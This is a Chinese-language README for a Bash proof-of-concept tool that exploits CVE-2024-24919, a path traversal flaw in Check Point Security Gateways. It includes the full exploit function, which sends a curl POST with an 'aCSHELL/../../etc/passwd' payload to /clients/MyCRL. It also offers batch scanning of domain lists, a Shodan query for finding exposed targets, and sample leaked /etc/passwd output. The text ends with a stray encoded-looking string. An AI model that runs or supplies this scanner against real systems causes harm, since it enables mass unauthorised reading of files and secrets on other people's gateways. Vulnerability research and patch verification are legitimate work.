Checkpoint Security Gateway LFI检测工具 (CVE-2024-24919)
功能特性
- 单域名检测:支持对单个目标URL进行漏洞检测
- 批量扫描:通过文件导入多个域名,批量检测漏洞
- 路径遍历攻击:自动构造
../../../../../../../etc/passwd路径进行测试 - 智能判断:根据响应内容自动识别漏洞是否存在
- 彩色输出:清晰的终端输出,区分漏洞状态和内容展示
- Shodan查询支持:提供专门的Shodan搜索语句用于查找潜在漏洞目标
安装指南
系统要求
- Linux / macOS / Windows (通过WSL或Git Bash)
- Bash 4.0+
- curl
安装步骤
# 克隆项目仓库
git clone https://github.com/SubhankarX01/CVE-2024-24919-POC/
# 进入项目目录
cd CVE-2024-24919-POC
# 赋予执行权限
chmod +x CVE-2024–24919.sh
依赖安装
工具依赖curl,大多数系统已预装。如未安装:
# Debian/Ubuntu
sudo apt-get install curl
# CentOS/RHEL
sudo yum install curl
# macOS
brew install curl
使用说明
基本语法
./CVE-2024–24919.sh [-u <URL>] [-w <文件名>] [-h]
参数说明
| 参数 | 说明 |
|---|---|
-u <URL> | 检测单个目标域名或URL |
-w <文件名> | 批量检测文件中的域名列表 |
-h | 显示帮助信息 |
使用示例
1. 检测单个目标
./CVE-2024–24919.sh -u https://target.example.com
输出示例:
Processing Domain: target.example.com
[+] Target is Vulnerable
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
2. 批量检测多个域名
准备域名列表文件 domains.txt:
https://target1.com
https://target2.com
https://target3.com
执行批量检测:
./CVE-2024–24919.sh -w domains.txt
3. 查看帮助信息
./CVE-2024–24919.sh -h
Shodan搜索语句
使用以下Shodan搜索语法查找潜在的漏洞目标:
Server: "Check Point SVN Foundation" "org"
典型使用场景
- 安全评估:对内部Checkpoint设备进行安全审计
- 漏洞验证:验证补丁安装后的修复效果
- 威胁情报:检测外部资产是否受此漏洞影响
核心代码
主检测函数
# Function to process the URL
process_url() {
local url=$1
local domain=$(echo "$url" | awk -F[/:] '{print $4}' | sed 's/^www\.//')
local data="../../../../../../../etc/passwd"
echo -e "\033[1;31mProcessing Domain:\033[0m $url"
response=$(curl --path-as-is -s -k -X 'POST' \
-H "Host: $domain" \
-H 'Connection: keep-alive' \
--data-binary "aCSHELL/$data" \
"$url/clients/MyCRL" \
-o -)
if echo "$response" | grep -q -E '/bin/bash|/sbin/nologin'; then
echo -e "\033[1;32m[+] Target is Vulnerable\033[0m\n"
echo -e "\033[34m$response\033[0m\n"
else
echo -e "\033[1;32m[-] Target is Not Vulnerable\033[0m"
fi
}
批量文件处理函数
# Function to process the file
process_file() {
local filename=$1
if [[ ! -f "$filename" ]]; then
echo "File not found: $filename"
exit 1
fi
echo -e "File provided: $filename\n"
while IFS= read -r line; do
process_url "$line"
done < "$filename"
}
主控函数
# Main function to parse arguments and call other functions
main() {
local url=""
local filename=""
# Parse command-line options
while getopts "hu:w:" opt; do
case $opt in
u) url=$OPTARG ;;
w) filename=$OPTARG ;;
h) usage ;;
*) usage ;;
esac
done
shift $((OPTIND - 1))
if [[ -z "$url" && -z "$filename" ]]; then
usage
fi
if [[ -n "$url" ]]; then
process_url "$url"
fi
if [[ -n "$filename" ]]; then
process_file "$filename"
fi
}
# Call the main function
main "$@"
6HFtX5dABrKlqXeO5PUv/7jIb55+Gjl2/pNICm90k86nIFFpL+M/hft/2EZY9D87